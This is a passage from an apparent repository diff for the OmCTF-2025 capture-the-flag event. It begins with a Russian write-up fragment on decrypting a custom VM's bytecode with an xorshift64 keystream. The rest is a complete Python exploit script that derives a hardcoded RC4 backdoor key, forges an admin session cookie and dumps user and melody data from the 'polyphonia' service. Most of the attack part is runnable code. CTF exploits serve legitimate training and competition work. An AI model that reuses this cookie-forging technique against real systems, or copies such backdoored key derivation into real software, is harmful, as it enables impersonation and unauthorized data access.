vm_code_stream_reset(vm, vm->pc);
|
||||
if (vm->code_bpos >= 8)
|
||||
{
|
||||
vm->code_cur_ks = vm_stream_next(&vm->code_cur_state);
|
||||
vm->code_bpos = 0;
|
||||
}
|
||||
uint8_t k = (uint8_t)(vm->code_cur_ks & 0xFF);
|
||||
vm->code_cur_ks >>= 8;
|
||||
vm->code_bpos++;
|
||||
vm->code_off++;
|
||||
vm->pc++;
|
||||
return (uint8_t)(ct ^ k);
|
||||
}
|
||||
```
|
||||
Меняется он при помощи xorshift64:
|
||||
```c
|
||||
// xorshift64* keystream for blob encryption/decryption (simple stream)
|
||||
static inline uint64_t vm_stream_next(uint64_t *s)
|
||||
{
|
||||
uint64_t x = *s;
|
||||
x ^= x >> 12;
|
||||
x ^= x << 25;
|
||||
x ^= x >> 27;
|
||||
*s = x;
|
||||
return x * 2685821657736338717ULL;
|
||||
}
|
||||
```
|
||||
|
||||
Дальше дампим байткод VM из бинаря и засовываем его в дизассемблер, который расшифрует опкоды. Далее, внимательно читая ассемблерный листинг функций (или опять же воспользовавшись GPT), можно найти уязвимую функцию.
|
||||
131
OmCTF-2025/sploits/polyphonia/exploit_admin.py
Executable file
131
OmCTF-2025/sploits/polyphonia/exploit_admin.py
Executable file
@@ -0,0 +1,131 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import json
|
||||
import sys
|
||||
from urllib import error, request
|
||||
|
||||
# RC4 key derived via deterministic LCG (matches server runtime key derivation)
|
||||
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
|
||||
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
|
||||
def derive_rc4_key(length: int = 22) -> bytes:
|
||||
state = 0
|
||||
out = bytearray()
|
||||
while len(out) < length:
|
||||
state = (214013 * state + 2531011) & 0x7fffffff
|
||||
r = (state >> 16) & 0xFFFF
|
||||
hi = (r >> 8) & 0xFF
|
||||
lo = r & 0xFF
|
||||
if len(out) < length:
|
||||
out.append(hi)
|
||||
if len(out) < length:
|
||||
out.append(lo)
|
||||
return bytes(out)
|
||||
SESSION_LEN = 64
|
||||
|
||||
|
||||
def rc4(key: bytes, data: bytes) -> bytes:
|
||||
s = list(range(256))
|
||||
j = 0
|
||||
for i in range(256):
|
||||
j = (j + s[i] + key[i % len(key)]) & 0xFF
|
||||
s[i], s[j] = s[j], s[i]
|
||||
i = 0
|
||||
j = 0
|
||||
out = bytearray(len(data))
|
||||
for idx, byte in enumerate(data):
|
||||
i = (i + 1) & 0xFF
|
||||
j = (j + s[i]) & 0xFF
|
||||
s[i], s[j] = s[j], s[i]
|
||||
k = s[(s[i] + s[j]) & 0xFF]
|
||||
out[idx] = byte ^ k
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def forge_cookie(username: str) -> str:
|
||||
encoded = username.encode("utf-8")
|
||||
if len(encoded) > SESSION_LEN:
|
||||
raise ValueError("username too long for forged session payload")
|
||||
padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
|
||||
key = derive_rc4_key(22)
|
||||
ciphertext = rc4(key, padded)
|
||||
return ciphertext.hex()
|
||||
|
||||
|
||||
def query_user(base_url: str, cookie_value: str) -> None:
|
||||
url = base_url.rstrip("/") + "/api/user"
|
||||
req = request.Request(url)
|
||||
req.add_header("Cookie", f"session={cookie_value}")
|
||||
with request.urlopen(req) as resp:
|
||||
body = resp.read().decode("utf-8", errors="replace")
|
||||
print(f"[+] HTTP {resp.status}")
|
||||
print(body)
|
||||
|
||||
|
||||
def query_melodies(base_url: str, cookie_value: str) -> None:
|
||||
url = base_url.rstrip("/") + "/api/melodies"
|
||||
req = request.Request(url)
|
||||
req.add_header("Cookie", f"session={cookie_value}")
|
||||
with request.urlopen(req) as resp:
|
||||
raw = resp.read().decode("utf-8", errors="replace")
|
||||
try:
|
||||
data = json.loads(raw)
|
||||
except json.JSONDecodeError:
|
||||
print("[-] Failed to parse melodies JSON; raw response:")
|
||||
print(raw)
|
||||
return
|
||||
items = data.get("melodies")
|
||||
if not isinstance(items, list):
|
||||
print("[-] Unexpected melodies schema; raw response:")
|
||||
print(raw)
|
||||
return
|
||||
if not items:
|
||||
print("[+] No melodies found")
|
||||
return
|
||||
print("[+] Melodies:")
|
||||
for m in items:
|
||||
if not isinstance(m, dict):
|
||||
continue
|
||||
name = m.get("name")
|
||||
desc = m.get("description")
|
||||
if not isinstance(name, str):
|
||||
name = str(name)
|
||||
if not isinstance(desc, str):
|
||||
desc = ""
|
||||
print(f"- {name}: {desc}")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description="Forge Polyphonia session cookie via RC4 backdoor")
|
||||
parser.add_argument("--base-url", default="http://localhost:22025", help="Server base URL")
|
||||
parser.add_argument("--username", default="admin123", help="Username to impersonate")
|
||||
parser.add_argument("--no-request", action="store_true", help="Only print the forged cookie")
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
cookie_value = forge_cookie(args.username)
|
||||
except ValueError as exc:
|
||||
print(f"[-] {exc}")
|
||||
return 1
|
||||
|
||||
print(f"[+] Forged cookie for {args.username}: {cookie_value}")
|
||||
|
||||
if args.no_request:
|
||||
return 0
|
||||
|
||||
try:
|
||||
query_user(args.base_url, cookie_value)
|
||||
# Then dump melodies for this session
|
||||
query_melodies(args.base_url, cookie_value)
|
||||
except error.HTTPError as exc:
|
||||
body = exc.read().decode("utf-8", errors="replace")
|
||||
print(f"[-] Server returned HTTP {exc.code}: {body}")
|
||||
return 1
|
||||
except error.URLError as exc:
|
||||
print(f"[-] Failed to contact {args.base_url}: {exc}")
|
||||
return 1
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user